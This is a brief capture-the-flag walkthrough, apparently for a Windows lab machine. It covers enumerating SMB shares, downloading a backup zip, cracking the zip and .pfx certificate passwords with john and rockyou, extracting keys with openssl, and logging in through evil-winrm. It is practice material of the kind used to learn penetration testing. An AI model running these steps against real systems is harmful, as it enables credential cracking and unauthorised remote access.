March 27, 2022 at 7:40 AM
User:Port scan shows a handful of ports - 139, 445 and 5986 are of interest.[code]smbclient -L [/code] for list of shares. Access "Shares" [code]smbclient \\\\\\Shares [/code]Download the zip in the Dev directory[code]cd Devget winrm_backup.zip[/code]Locally get it hash friendly with zip2john and crack with rockyou.[code]zip2john winrm_backup.zip > winrm.hashjohn winrm.hash --wordlist=/usr/share/wordlists/rockyou.txt[/code]Inside is a certificate that also requires a password - again convert, this time with pfx2john. Rockyou has the password again.[code]pfx2john legacyy_dev_auth.pfx > pfx.hashjohn pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt[/code]Use openssl to extract the cert and the private key [code]openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv.keyopenssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out pfx.crt [/code]Get a session with evil-winrm [code]evil-winrm -i -c ./pfx.crt -k ./priv.key -p -u -S[/code]

